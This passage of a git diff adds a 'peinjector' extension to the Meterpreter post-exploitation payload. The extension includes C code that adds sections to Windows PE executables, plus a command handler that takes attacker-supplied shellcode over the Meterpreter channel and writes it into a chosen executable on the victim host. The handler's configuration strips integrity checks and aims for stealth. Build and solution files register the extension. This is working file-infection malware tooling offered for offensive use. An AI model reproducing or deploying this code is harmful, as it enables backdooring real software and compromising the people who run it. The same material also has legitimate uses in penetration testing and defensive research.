unsigned char *section_mem = NULL; + size_t section_memsize = 0; + size_t section_raw_pointer = 0; + size_t section_rva; + + /* Try to load specific alignments */ + /* x86 */ + if ((out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) + && (out->pe_header.SizeOfOptionalHeader >= offsetof(OPTIONAL_HEADER_32, MajorOperatingSystemVersion))) { + section_alignment = out->optional_header_32.SectionAlignment; + file_alignment = out->optional_header_32.FileAlignment; + last_section_rva = out->optional_header_32.BaseOfCode; + + /* x64 */ + } else if (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC + && (out->pe_header.SizeOfOptionalHeader >= offsetof(OPTIONAL_HEADER_64, MajorOperatingSystemVersion))) { + section_alignment = out->optional_header_64.SectionAlignment; + file_alignment = out->optional_header_64.FileAlignment; + last_section_rva = out->optional_header_64.BaseOfCode; + } + + /* Increase header padding till the new header fits */ + while (out->header_padding.memsize < sizeof(SECTION_HEADER)) { + if (!__petool_increase_header_padding(file_alignment, out)) { + + /* Something went wrong*/ + return false; + } + } + + /* Move padding */ + memmove(out->header_padding.mem, out->header_padding.mem + sizeof(SECTION_HEADER), + out->header_padding.memsize - sizeof(SECTION_HEADER)); + out->header_padding.memsize -= sizeof(SECTION_HEADER); + + /* Try find position of last section */ + if ((out->pe_header.NumberOfSections > 0) && (out->section_header != NULL)) { + last_section_rva = out->section_header[out->pe_header.NumberOfSections - 1].VirtualAddress; + last_section_virtualsize = out->section_header[out->pe_header.NumberOfSections - 1].Misc.VirtualSize; + + /* Sections can be nested inside other sections */ + for (i = 0; i < out->pe_header.NumberOfSections; ++i) { + section_raw_pointer = MAX(section_raw_pointer, + out->section_header[i].PointerToRawData + out->section_header[i].SizeOfRawData); + } + + } else { + section_raw_pointer = header_raw_end + out->header_padding.memsize; + } + + /* Resize holder structures */ + out->pe_header.NumberOfSections++; + new_section_header = realloc(out->section_header, out->pe_header.NumberOfSections * sizeof(SECTION_HEADER)); + /* Couldn't allocate memory */ + if (new_section_header == NULL) { + return false; + } + out->section_header = new_section_header; + + if (!header_only) { + new_section_data = realloc(out->section_data, out->pe_header.NumberOfSections * sizeof(DATA_BLOBC)); + /* Couldn't allocate memory */ + if (new_section_data == NULL) { + return false; + } + out->section_data = new_section_data; + } + + /* Calculate padded raw size & relative virtual address */ + section_memsize = __petool_align(memsize, file_alignment); + section_rva = __petool_align(last_section_rva + last_section_virtualsize, section_alignment); + + /* Header only, don't modify data */ + if (!header_only) { + /* Allocate new section memory */ + section_mem = malloc(section_memsize); + /* Couldn't allocate memory */ + if (section_mem == NULL) { + return false; + } + + /* Copy memory to section memory and clear rest */ + if (mem != NULL) { + memcpy(section_mem, mem, memsize); + memset(section_mem + memsize, 0, section_memsize - memsize); + } else { + memset(section_mem, 0, section_memsize); + } + + /* Store section data */ + out->section_data[out->pe_header.NumberOfSections - 1].mem = section_mem; + out->section_data[out->pe_header.NumberOfSections - 1].memsize = section_memsize; + + } + + /* New Section Header */ + memset(&out->section_header[out->pe_header.NumberOfSections - 1], 0, sizeof(SECTION_HEADER)); + out->section_header[out->pe_header.NumberOfSections - 1].PointerToRawData = section_raw_pointer; + out->section_header[out->pe_header.NumberOfSections - 1].SizeOfRawData = section_memsize; + out->section_header[out->pe_header.NumberOfSections - 1].VirtualAddress = section_rva; + out->section_header[out->pe_header.NumberOfSections - 1].Misc.VirtualSize = memsize; + out->section_header[out->pe_header.NumberOfSections - 1].Characteristics = characteristics; + if (name != NULL) { + memcpy(out->section_header[out->pe_header.NumberOfSections - 1].Name, name, MIN(NT_SHORT_NAME_LEN, namesize)); + } + + /* Header only, don't modify data */ + if (!header_only) { + /* Fix additional data positions */ + if ((out->additional_count > 0) && (out->additional_data != NULL)) { + for (i = 0; i < out->additional_count; ++i) { + if (out->additional_data[i].position + == out->section_header[out->pe_header.NumberOfSections - 1].PointerToRawData) { + out->additional_data[i].position += out->section_header[out->pe_header.NumberOfSections - 1].SizeOfRawData; + break; + } + } + } + } + + /* Adjust Optional Header */ + __petool_adjust_optional_header(out); + + return true; +} diff --git a/c/meterpreter/source/extensions/peinjector/libpetool.h b/c/meterpreter/source/extensions/peinjector/libpetool.h new file mode 100755 index 00000000..a501502a --- /dev/null +++ b/c/meterpreter/source/extensions/peinjector/libpetool.h @@ -0,0 +1,41 @@ +/** + * \file libpetool.h + * \brief Applies complex operations on a given PE FILE + */ + +#ifndef LIBPETOOL_H_ +#define LIBPETOOL_H_ + +#include "libpefile.h" + +/** + * Tries to resize an existing section + * + * \param section_index Index of section to resize + * \param new_raw_size New RawSize of section + * \param new_virtual_size New VirtualSize of section + * \param header_only Only modifies header + * \param out PE File where the section will be resized + * + * \return true on success, false otherwise + */ +bool petool_resize_section(size_t section_index, size_t new_raw_size, size_t new_virtual_size, bool header_only, + PEFILE *out); + +/** + * Tries to insert a new section into a given PE File + * + * \param name Name of new section + * \param namesize Size of name + * \param characteristics Characteristics of new section + * \param mem Memory used for new section. If NULL, memsize zeros will be used + * \param memsize Memory size of new section + * \param header_only Only modifies header + * \param out PE File where the section will be added + * + * \return true on success, false otherwise + */ +bool petool_add_section(char *name, size_t namesize, size_t characteristics, unsigned char *mem, size_t memsize, + bool header_only, PEFILE *out); + +#endif /* LIBPETOOL_H_ */ diff --git a/c/meterpreter/source/extensions/peinjector/peinjector.c b/c/meterpreter/source/extensions/peinjector/peinjector.c new file mode 100755 index 00000000..b2df4498 --- /dev/null +++ b/c/meterpreter/source/extensions/peinjector/peinjector.c @@ -0,0 +1,44 @@ +/*! + * @file peinjector.c + * @brief Entry point and intialisation definitions for the Peinjector extension + */ +#include "../../common/common.h" + +#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" + +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +#include "peinjector_bridge.h" + +// this sets the delay load hook function, see DelayLoadMetSrv.h +EnableDelayLoadMetSrv(); + +Command customCommands[] = +{ + COMMAND_REQ("peinjector_inject_shellcode", request_peinjector_inject_shellcode), + COMMAND_TERMINATOR +}; + +/*! + * @brief Initialize the server extension + */ +DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +{ + hMetSrv = remote->met_srv; + dprintf("[PEINJECTOR] Initializing peinjector..."); + + command_register_all(customCommands); + + return ERROR_SUCCESS; +} + +/*! + * @brief Deinitialize the server extension + */ +DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) +{ + command_deregister_all(customCommands); + + return ERROR_SUCCESS; +} + diff --git a/c/meterpreter/source/extensions/peinjector/peinjector.h b/c/meterpreter/source/extensions/peinjector/peinjector.h new file mode 100755 index 00000000..04227516 --- /dev/null +++ b/c/meterpreter/source/extensions/peinjector/peinjector.h @@ -0,0 +1,20 @@ +/*! + * @file peinjector.h + */ +#ifndef _METERPRETER_SOURCE_EXTENSION_PEINJECTOR_H +#define _METERPRETER_SOURCE_EXTENSION_PEINJECTOR_H + +#include "../../common/common.h" + +#define TLV_TYPE_EXTENSION_PEINJECTOR 0 + +#define TLV_TYPE_PEINJECTOR_SHELLCODE MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_PEINJECTOR, TLV_EXTENSIONS + 1) +#define TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_PEINJECTOR, TLV_EXTENSIONS + 2) +#define TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64 MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_PEINJECTOR, TLV_EXTENSIONS + 3) +#define TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PEINJECTOR, TLV_EXTENSIONS + 4) +#define TLV_TYPE_PEINJECTOR_RESULT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PEINJECTOR, TLV_EXTENSIONS + 5) + +#endif + + + diff --git a/c/meterpreter/source/extensions/peinjector/peinjector_bridge.c b/c/meterpreter/source/extensions/peinjector/peinjector_bridge.c new file mode 100755 index 00000000..0a954a91 --- /dev/null +++ b/c/meterpreter/source/extensions/peinjector/peinjector_bridge.c @@ -0,0 +1,98 @@ +/*! +* @file peinjector_bridge.cpp +* @brief Wrapper functions for bridging native meterp calls to peinjector +*/ + +#include "../../common/common.h" +#include "peinjector.h" +#include "peinjector_bridge.h" +#include "libpeinfect.h" + +void __load_config(PEINFECT *infect, BYTE* shellcode, UINT shellcode_size, bool is_x64) { + unsigned char *test_code_x86; + size_t test_codesize_x86 = 0; + unsigned char *test_code_x64; + size_t test_codesize_x64 = 0; + PEINFECT_METHOD methods; + bool random_section_name = true; + size_t section_namesize = 0; + char section_name[NT_SHORT_NAME_LEN] = { 0 }; + + /* Load integrity options */ + peinfect_set_removeintegrity(true, infect); + peinfect_set_trystaystealth(true, infect); + + methods = METHOD_ALL; + + peinfect_set_methods(methods, infect); + + /* Cross section jump iterations */ + peinfect_set_jumpiterations(1, infect); + + /* Encryption */ + peinfect_set_encrypt(false, infect); + peinfect_set_encryptiterations(1, infect); + + /* New Section Name */ + peinfect_set_sectionname(NULL, 0, random_section_name, infect); + + if (!random_section_name) { + section_namesize = NT_SHORT_NAME_LEN; + peinfect_set_sectionname(section_name, section_namesize, false, infect); + } + + /* Set shellcode */ + peinfect_set_shellcode(shellcode, shellcode_size, is_x64, infect); +} + +DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet) +{ + DWORD dwResult = ERROR_SUCCESS; + Packet* response = packet_create_response(packet); + + if (response) + { + BYTE* shellcode = packet_get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE); + UINT size = packet_get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE); + BOOL is_x64 = packet_get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64); + + char* target_executable_path = packet_get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE); + if (shellcode != NULL) + { + dprintf("[PEINJECTOR] recived path: %s", target_executable_path); + dprintf("[PEINJECTOR] recived shellcode: %s", shellcode); + dprintf("[PEINJECTOR] recived size: %d", size); + dprintf("[PEINJECTOR] is x64: %d", is_x64); + + PEINFECT infect; + peinfect_init(&infect); + + __load_config(&infect, shellcode, size, is_x64); + + uint16_t arch = get_file_architecture(target_executable_path); + + dprintf("[PEINJECTOR] arch: %d", arch); + + if (!(arch == 0x014c && is_x64 == true || arch == 0x8664 && is_x64 == false)) { + + if (peinfect_infect_full_file(target_executable_path, &infect, target_executable_path)) + dprintf("Shellcode injected successfully\n"); + else { + dprintf("There was an error, shellcode not injected\n"); + packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected"); + } + } + else { + dprintf("The architecture of the file is incompatible with the selected payload\n"); + packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload"); + } + packet_transmit_response(dwResult, remote, response); + } + else + { + dprintf("[PEINJECTOR] Shellcode parameter missing from call"); + dwResult = ERROR_INVALID_PARAMETER; + } + } + return dwResult; +} diff --git a/c/meterpreter/source/extensions/peinjector/peinjector_bridge.h b/c/meterpreter/source/extensions/peinjector/peinjector_bridge.h new file mode 100755 index 00000000..b2b1959b --- /dev/null +++ b/c/meterpreter/source/extensions/peinjector/peinjector_bridge.h @@ -0,0 +1,10 @@ +/*! +* @file peinjector_bridge.h +*/ +#ifndef _METERPRETER_SOURCE_EXTENSION_PEINJECTOR_BRIDGE_H +#define _METERPRETER_SOURCE_EXTENSION_PEINJECTOR_BRIDGE_H + +DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet); + +#endif +#pragma once diff --git a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj new file mode 100755 index 00000000..d264363b --- /dev/null +++ b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj @@ -0,0 +1,309 @@ + + + + + r7_release + Win32 + + + r7_release + x64 + + + Release + Win32 + + + Release + x64 + + + + {2A4FDCA0-A620-4E98-AF05-2B2F227F5166} + ext_server_peinjector + Win32Proj + + + + DynamicLibrary + MultiByte + false + v120_xp + + + DynamicLibrary + MultiByte + false + v120_xp + + + DynamicLibrary + MultiByte + false + v120_xp + + + DynamicLibrary + MultiByte + false + v120_xp + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + false + false + AllRules.ruleset + + + $(ProjectName).$(PlatformShortName) + + + + MinSpace + OnlyExplicitInline + false + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + metsrv.dll;%(DelayLoadDLLs) + false + true + $(OutDir)\ext_server_peinjector.map + Windows + + + + + false + + + $(OutDir)\ext_server_peinjector.lib + MachineX86 + false + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" + + + + + MinSpace + OnlyExplicitInline + false + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + metsrv.dll;%(DelayLoadDLLs) + false + true + $(OutDir)\ext_server_peinjector.map + Windows + + + + + false + + + $(OutDir)\ext_server_peinjector.lib + MachineX86 + false + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + false + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + true + + + Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + metsrv.dll;%(DelayLoadDLLs) + false + true + $(OutDir)\ext_server_peinjector.map + Windows + + + + + false + + + $(OutDir)\ext_server_peinjector.lib + MachineX64 + false + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + false + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + true + + + Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + metsrv.dll;%(DelayLoadDLLs) + false + true + $(OutDir)\ext_server_peinjector.map + NotSet + + + + + false + + + $(OutDir)\ext_server_peinjector.lib + MachineX64 + false + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" + + + + + + + + + + + + + + + + + + + + + + {c6fb3275-9067-4bba-9206-0a720d2bc64f} + false + + + {9e4de963-873f-4525-a7d0-ce34edbbdcca} + false + + + {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} + false + + + {72f0246a-a38d-4547-9057-46020e8e503d} + false + + + + + + + \ No newline at end of file diff --git a/c/meterpreter/workspace/meterpreter.sln b/c/meterpreter/workspace/meterpreter.sln index 41958023..4934e7e8 100755 --- a/c/meterpreter/workspace/meterpreter.sln +++ b/c/meterpreter/workspace/meterpreter.sln @@ -1,7 +1,7 @@  Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio 2013 -VisualStudioVersion = 12.0.40629.0 +# Visual Studio 14 +VisualStudioVersion = 14.0.25420.1 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "common", "common\common.vcxproj", "{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}" EndProject @@ -39,6 +39,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_powershell", "ex EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_winpmem", "ext_server_winpmem\ext_server_winpmem.vcxproj", "{A29BE1E5-5122-4BD4-82CE-25418D29648E}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_peinjector", "ext_server_peinjector\ext_server_peinjector.vcxproj", "{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution r7_release|Win32 = r7_release|Win32 @@ -189,6 +191,14 @@ Global {A29BE1E5-5122-4BD4-82CE-25418D29648E}.Release|Win32.Build.0 = Release|Win32 {A29BE1E5-5122-4BD4-82CE-25418D29648E}.Release|x64.ActiveCfg = Release|x64 {A29BE1E5-5122-4BD4-82CE-25418D29648E}.Release|x64.Build.0 = Release|x64 + {2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.r7_release|Win32.ActiveCfg = r7_release|Win32 + {2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.r7_release|Win32.Build.0 = r7_release|Win32 + {2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.r7_release|x64.ActiveCfg = r7_release|x64 + {2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.r7_release|x64.Build.0 = r7_release|x64 + {2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|Win32.ActiveCfg = Release|Win32 + {2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|Win32.Build.0 = Release|Win32 + {2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|x64.ActiveCfg = Release|x64 + {2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|x64.Build.0 = Release|x64 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE